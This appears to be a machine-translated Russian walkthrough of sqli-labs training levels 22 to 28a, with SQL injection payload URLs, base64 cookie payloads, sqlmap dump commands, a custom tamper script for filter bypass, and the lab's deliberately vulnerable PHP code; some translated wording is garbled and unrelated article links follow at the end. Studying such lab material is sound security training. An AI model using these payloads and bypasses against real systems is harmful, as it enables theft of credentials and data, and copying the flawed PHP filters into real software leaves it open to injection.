uname=YWRtaW4nIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdXNlcigpLDB4N2UpLDEpKSBhbmQgJzEnID0gJzE%3d

Уровень 22. Двойная кавычка. Внедрение файлов cookie на основе шифрования кодировки Base64.

1. Точно так же точкой внедрения этого уровня является параметр cookie, который аналогичен полезной нагрузке предыдущего уровня, но заключен в двойные кавычки.

uname=YWRtaW4iIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdXNlcigpLDB4N2UpLDEpKSBhbmQgIjEiID0gIjE%3d

SQLMAP-инъекция

  1. Может использоваться напрямую-rОбнаружение захваченных пакетов данныхДобавьте знак * к параметру пользовательского агента, который необходимо обнаружить.

sqlmap -r "2.txt" -D security -T users --columns --dump --batch --technique E --batch --level 3 --threads 10

  1. Его также можно внедрить непосредственно через пользовательский агент, что может занять немного больше времени.

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-18/" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0' and '1'='1" --level 3 --threads 10 --dbms mysql --fresh-queries --flush-session -D security -T users --columns --dump --batch --technique E

  • --level

уровень: установите все аспекты обнаружения и тестовых случаев - значение по умолчанию 1, будут проверены POST и GET - 2: к обнаружению также будут добавлены файлы cookie - 3: также будут обнаружены User-Agent и Referer, большие значения увеличит количество вариантов использования

  • --user-agent

Указанный пользовательский агент

  • --data

Уточните содержание запроса

  • --dbms

Укажите серверную базу данных. Учитывая тип серверной базы данных, вы можете сократить количество ненужных тестовых случаев.

  • --fresh-queries

свежие запросы будут игнорировать результаты предыдущих запросов и выполнять операции повторного запроса.

  • --flush-session

flash-session очистит текущий URL-адрес, связанный

Уровень 23. Фильтрация комментариев на основе ошибок GET.

Оценка точки впрыска
  1. Я попробовал старый метод использования одинарных кавычек и обратной косой черты, и он действительно сообщил об ошибке.
  2. Но «Комментарий» не может пройти мимо подозрения, что у «Комментария» есть фильтр.
  3. Посмотрев исходный код, я обнаружил, что # и -- ничем не заменены.
Язык кода:javascript
копировать
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
  1. Непосредственная загрузка полезной нагрузки

http://127.0.0.1/sqlilabs2/Less-23/?id=-1' union select 1,(select group_concat(username,password ) from users),3 and '1' = '1

Уровень 24 POST, вторичная сортировка, инъекция-хранение

Оценка точки впрыска
  1. Интерфейс выглядит как большое изменение
  1. После входа в систему я изменил свой пароль и предположил, что это заявление об обновлении.
  1. Измените пароль и добавьте обратную косую черту, чтобы снова войти в систему, и она не будет видна.Сообщить об ошибке,Проверьте исходный код, чтобы узнать
    • Появился новый файл регистрации пользователя New_user.php.
    • Изменить файл паролей pass_change.php
    • Файл входа в систему login.php
    • Mysql_real_escape_stringфункция используется для фильтрации зарегистрированных параметров.
    • А вот при смене файла паролей параметр username вызывается напрямую.
    • Думаю, вы можете зарегистрировать пользователя admin'#, а затем изменить пароль администратора. Код выглядит следующим образом.
Язык кода:javascript
копировать
if (isset($_POST['submit']))
{


  # Validating the user input........
  $username= $_SESSION["username"];
  $curr_pass= mysql_real_escape_string($_POST['current_password']);
  $pass= mysql_real_escape_string($_POST['password']);
  $re_pass= mysql_real_escape_string($_POST['re_password']);

  if($pass==$re_pass)
  { 
    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
    $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
    $row = mysql_affected_rows();
    echo '<font size="3" color="#FFFF00">';
    echo '<center>';
    if($row==1)
    {
      echo "Password successfully updated";

    }
    else
    {
      header('Location: failed.php');
      //echo 'You tried to be smart, Try harder!!!! :( ';
    }
}
  else
{
    echo '<font size="5" color="#FFFF00"><center>';
    echo "Make sure New Password and Retype Password fields have same value";
    header('refresh:2, url=index.php');
}
}

Поскольку условий для внедрения ошибок нет, слепое внедрение занимает много времени. Вы можете попробовать зарегистрировать скрипт, а затем внедрить. Это действительно немного хлопотно.

Но цель этой темы такова: для сохраненного внедрения символы, вызывающие SQL-инъекцию, могут быть сохранены в базе данных заранее. Когда злонамеренно созданный символ вызывается снова, внедрение может быть запущено.

заголовок: Примечания к разрешению Sqlilabs (25-28) в обход внедрения дата: 2020-01-07 16:58:27 теги: SQL-инъекция

категории: SQL-инъекция

Уровень 25. На основании неправильных одинарных кавычек GET — ваши ИЛИ и И принадлежат мне.

Эта серия предназначена для обхода инъекции. Вопрос подсказал символы, которые необходимо обойти, и может отображать входную полезную нагрузку.

Аудит исходного кода
Язык кода:javascript
копировать
function blacklist($id)
{
  $id= preg_replace('/or/i',"", $id);     //strip out OR (non case sensitive)
  $id= preg_replace('/AND/i',"", $id);    //Strip out AND (non case sensitive)

  return $id;
}

Из кода видно, что или и и игнорируют размер и заменяют их пустыми.

Обход
  • 符Число替换обойтиматематические символы and = && or = ||&переписыватьсяurlкодирование%26,|Соответствующая кодировка URL%7 payload: http://127.0.0.1/sqlilabs2/Less-25/?id=1' || extractvalue(null,concat(0x7e,database(),0x7e))%23
  • Двойной обход записи oorr # Заменить пустым и неподвижным oranandd. # Заменить пустым и все равно быть и payload: http://127.0.0.1/sqlilabs2/Less-25/?id=1' oorr extractvalue(null,concat(0x7e,database(),0x7e))%23
  • Комментарийобойти and = an/**/d or = o/**/r payload: http://127.0.0.1/sqlilabs2/Less-25/?id=1' oorr extractvalue(null,concat(0x7e,database(),0x7e))%23

Обход тампера записи SQLMAP

Язык кода:javascript
копировать
#!/usr/bin/env python

"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):
    """
    Add an inline comment (/**/) to the end of all occurrences of (MySQL) "information_schema" identifier

    >>> tamper('and or')
    'anandd oorr'
    """

    retVal = payload

    if payload:
        retVal = re.sub(r"(?i)(and)", r"anandd", re.sub(r"(?i)(or)", "oorr", payload))

    return retVal
  1. Сохранить как xx.py
  2. Используйте sqlmap для вызова тампера

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-25/?id=1" --tamper "xx.py" --technique E --threads 10 --dbs --batch

Уровень 25a. На основе слепого внедрения одинарных целых кавычек методом GET — ваши ИЛИ и И принадлежат мне.

Аудит исходного кода
Язык кода:javascript
копировать
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

  if($row)
{
      echo "<font size='5' color= '#99FF00'>";  
      echo 'Your Login name:'. $row['username'];
    //echo 'YOU ARE IN ........';     
    echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
  }
  else 
{
    echo '<font size="5" color="#FFFF00">';
    //echo 'You are in...........';
    //print_r(mysql_error());
    //echo "You have an error in your SQL syntax";
    echo "</br></font>";  
    echo '<font color= "#0000ff" font size= 3>';  

}
}
  else 
{ 
  echo "Please input the ID as parameter with numeric value";
}

function blacklist($id)
{
  $id= preg_replace('/or/i',"", $id);     //strip out OR (non case sensitive)
  $id= preg_replace('/AND/i',"", $id);    //Strip out AND (non case sensitive)

  return $id;
}
  1. Исходный код аналогичен предшествующим рекомендациям, механизм фильтрации тот же.
  2. Отличие заключается в пластиковой застежке.
  3. Сообщение об ошибке не будет выведено, поэтому внесение ошибок невозможно.
  4. Непосредственная загрузка полезной нагрузки

http://127.0.0.1/sqlilabs2/Less-25a/?id=-1 union select 1,(select group_concat(username,passwoorrd) from users) ,3--+

Уровень 26. На основании ошибки GET — ваши места и комментарии принадлежат мне.

Аудит исходного кода
Язык кода:javascript
копировать
function blacklist($id)
{
  $id= preg_replace('/or/i',"", $id);     //strip out OR (non case sensitive)
  $id= preg_replace('/and/i',"", $id);    //Strip out AND (non case sensitive)
  $id= preg_replace('/[\/\*]/',"", $id);    //strip out /*
  $id= preg_replace('/[--]/',"", $id);    //Strip out --
  $id= preg_replace('/[#]/',"", $id);     //Strip out #
  $id= preg_replace('/[\s]/',"", $id);    //Strip out spaces
  $id= preg_replace('/[\/\\\\]/',"", $id);    //Strip out slashes
  return $id;
}
  1. Из исходного кода, помимо фильтрации или и, он также фильтрует # и --
  2. Также есть косые черты, знаки * и пробелы.
Обход
  • обход кодирования
    • %09 TABключ(космос)
    • %0A Создать новую строку (космос)
    • %0C новая страница
    • %0D return — это функция возврата каретки (php-5.2.17,5.3.29 успешно)
    • Клавиша TAB %0B (вертикальная)
    • %A0 космос (php-5.2.17 успешен)
  • брекет обходной
    • Используйте () для обхода,Это значит не использовать никакой космос

payload:

http://127.0.0.1/sqlilabs2/Less-26/?id=1'%26%26extractvalue(null,concat(0x7e,(select(group_concat(username,'~',passwoorrd))from(security.users)),0x7e))%7c%7c'1

Уровень 26a На основании ошибки GET – ваши пробелы и комментарии принадлежат мне – тип символов – скобки

Аудит исходного кода
  1. То же, что и предыдущий уровень,Просто нельзя использовать Сообщить об ошибке Введенный
  2. Требуются круглые скобки для закрытия
Обход

payload

http://127.0.0.1/sqlilabs2/Less-26a/??id=1111')union%A0select(1),(select(group_concat(id,'~',username,'~',passwoorrd))from(security.users)),3%7c%7c('1

Уровень 27. На основе ошибки GET — ваши UNION и SELECT принадлежат мне — одинарные кавычки.

Аудит исходного кода
Язык кода:javascript
копировать
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);    //strip out /*
$id= preg_replace('/[--]/',"", $id);    //Strip out --.
$id= preg_replace('/[#]/',"", $id);     //Strip out #.
$id= preg_replace('/[ +]/',"", $id);      //Strip out spaces.
$id= preg_replace('/select/m',"", $id);     //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);      //Strip out spaces.
$id= preg_replace('/union/s',"", $id);      //Strip out union
$id= preg_replace('/select/s',"", $id);     //Strip out select
$id= preg_replace('/UNION/s',"", $id);      //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);     //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);      //Strip out Union
$id= preg_replace('/Select/s',"", $id);     //Strip out select
return $id;
}
  1. Из исходного кода видно, что объединение и выбор фильтруются, а не тот тип, который игнорирует регистр.
  2. * и -- также фильтруются
  3. Информация об ошибке будет распечатана, вы можете использовать внедрение ошибок.
Обход
  • Двойной обход записи

uniunionon selecselectt

  • Обход корпуса

select -> SeLect union -> UNion

payload

http://127.0.0.1/sqlilabs2/Less-27/?id=1'%09and%09updatexml(1,concat(0x7e,(SeleCt(group_concat(username,password))from(users)),0x7e),1)and'1

Уровень 27a На основе ошибки GET — ваш UNION и SELECT принадлежат мне — двойные кавычки

Аудит исходного кода
  1. То же, что и Обход, заключено в двойные кавычки.
  2. Информация об ошибках не выводится, и внесение ошибок не может быть использовано.

payload

http://127.0.0.1/sqlilabs2/Less-27a/?id=1"%09and%091=2%09%09uniunionon%09SElselectect%091,(SElect(group_concat(username,password))from(users)),3%09or%09"1

Уровень 28. На основе ошибки GET. Ваши UNION и SELECT принадлежат мне. Символьные одинарные кавычки и скобки.

Аудит исходного кода
Язык кода:javascript
копировать
// connectivity 
  $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
  $result=mysql_query($sql);
  $row = mysql_fetch_array($result);
  if($row)
{
      echo "<font size='5' color= '#99FF00'>";  
      echo 'Your Login name:'. $row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
  }
  else 
{
    echo '<font color= "#FFFF00">';
    //print_r(mysql_error());
    echo "</font>";  
}
}
  else { echo "Please input the ID as parameter with numeric value";}




function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
$id= preg_replace('/[--]/',"", $id);        //Strip out --.
$id= preg_replace('/[#]/',"", $id);         //Strip out #.
$id= preg_replace('/[ +]/',"", $id);          //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);         //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);          //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);     //Strip out UNION & SELECT.
return $id;
}
  1. По анализу исходного код, фильтрованный союз select Игнорировать регистр
  2. Отфильтрованный # и Комментарий, космос
Обход
  • Двойной обход записи

union

  • Добавьте символы для обхода

union all select

Непосредственная загрузка полезной нагрузки

http://127.0.0.1/sqlilabs2/Less-28/?id=1')%0aand%0a1=2%0aunion%0aall%0aselect%0a1,database(),3%0aor ('1

Уровень 28a На основе слепого внедрения GET — ваши UNION и SELECT принадлежат мне — одинарные кавычки и скобки.

Аналогично предыдущему уровню

boy illustration
RasaGpt — платформа чат-ботов на основе Rasa и LLM.
boy illustration
Nomic Embed: воспроизводимая модель внедрения SOTA с открытым исходным кодом.
boy illustration
Улучшение YOLOv8: EMA основана на эффективном многомасштабном внимании, основанном на межпространственном обучении, и эффект лучше, чем у ECA, CBAM и CA. Малые цели имеют очевидные преимущества | ICASSP2023
boy illustration
Урок 1 серии Libtorch: Тензорная библиотека Silky C++
boy illustration
Руководство по локальному развертыванию Stable Diffusion: подробные шаги и анализ распространенных проблем
boy illustration
Полностью автоматический инструмент для работы с видео в один клик: VideoLingo
boy illustration
Улучшения оптимизации RT-DETR: облегченные улучшения магистрали | Support Paddle облегченный rtdetr-r18, rtdetr-r34, rtdetr-r50, rtdet
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | Деформируемое внимание с большим ядром (D-LKA Attention), большое ядро ​​​​свертки улучшает механизм внимания восприимчивых полей с различными функциями
boy illustration
Создано Datawhale: выпущено «Руководство по тонкой настройке развертывания большой модели GLM-4»!
boy illustration
7B превышает десятки миллиардов, aiXcoder-7B с открытым исходным кодом Пекинского университета — это самая мощная модель большого кода, лучший выбор для корпоративного развертывания.
boy illustration
Используйте модель Huggingface, чтобы заменить интерфейс внедрения OpenAI в китайской среде.
boy illustration
Оригинальные улучшения YOLOv8: несколько новых улучшений | Сохранение исходной информации — алгоритм отделяемой по глубине свертки (MDSConv) |
boy illustration
Второй пилот облачной разработки | Быстро поиграйте со средствами разработки на базе искусственного интеллекта
boy illustration
Бесшовная интеграция, мгновенный интеллект [1]: платформа больших моделей Dify-LLM, интеграция с нулевым кодированием и встраивание в сторонние системы, более 42 тысяч звезд, чтобы стать свидетелями эксклюзивных интеллектуальных решений.
boy illustration
Решенная Ошибка | Загрузка PyTorch медленная: TimeoutError: [Errno 110] При загрузке факела истекло время ожидания — Cat Head Tiger
boy illustration
Brother OCR, библиотека с открытым исходным кодом для Python, которая распознает коды проверки.
boy illustration
Новейшее подробное руководство по загрузке и использованию последней демонстрационной версии набора данных COCO.
boy illustration
Выпущен отчет о крупной модели финансовой отрасли за 2023 год | Полный текст включен в загрузку |
boy illustration
Обычные компьютеры также могут работать с большими моделями, и вы можете получить личного помощника с искусственным интеллектом за три шага | Руководство для начинающих по локальному развертыванию LLaMA-3
boy illustration
Одной статьи достаточно для анализа фактора транскрипции SCENIC на Python (4)
boy illustration
Бросая вызов ограничениям производительности небольших видеокарт, он научит вас запускать большие модели глубокого обучения с ограниченными ресурсами, а также предоставит полное руководство по оценке и эффективному использованию памяти графического процессора!
boy illustration
Команда Fudan NLP опубликовала 80-страничный обзор крупномасштабных модельных агентов, в котором в одной статье представлен обзор текущего состояния и будущего агентов ИИ.
boy illustration
[Эксклюзив] Вы должны знать о новой функции JetBrains 2024.1 «Полнострочное завершение кода», чтобы решить вашу путаницу!
boy illustration
Краткое изложение базовых знаний о регистрации изображений 1.0
boy illustration
Новейшее подробное руководство по установке и использованию библиотеки cv2 (OpenCV, opencv-python) в Python.
boy illustration
Легко создайте локальную базу знаний для крупных моделей на основе Ollama+AnythingLLM.
boy illustration
[Решено] ошибка установки conda. Среда решения: не удалось выполнить первоначальное зависание решения. Повторная попытка с помощью файла (графическое руководство).
boy illustration
Одна статья поможет вам понять RAG (Retrival Enhanced Generation) | Введение в концепцию и теорию + практику работы с кодом (включая исходный код).
boy illustration
Эволюция архитектуры шлюза облачной разработки
boy illustration
Docker и Kubernetes [Разработка контейнерных приложений с помощью Python]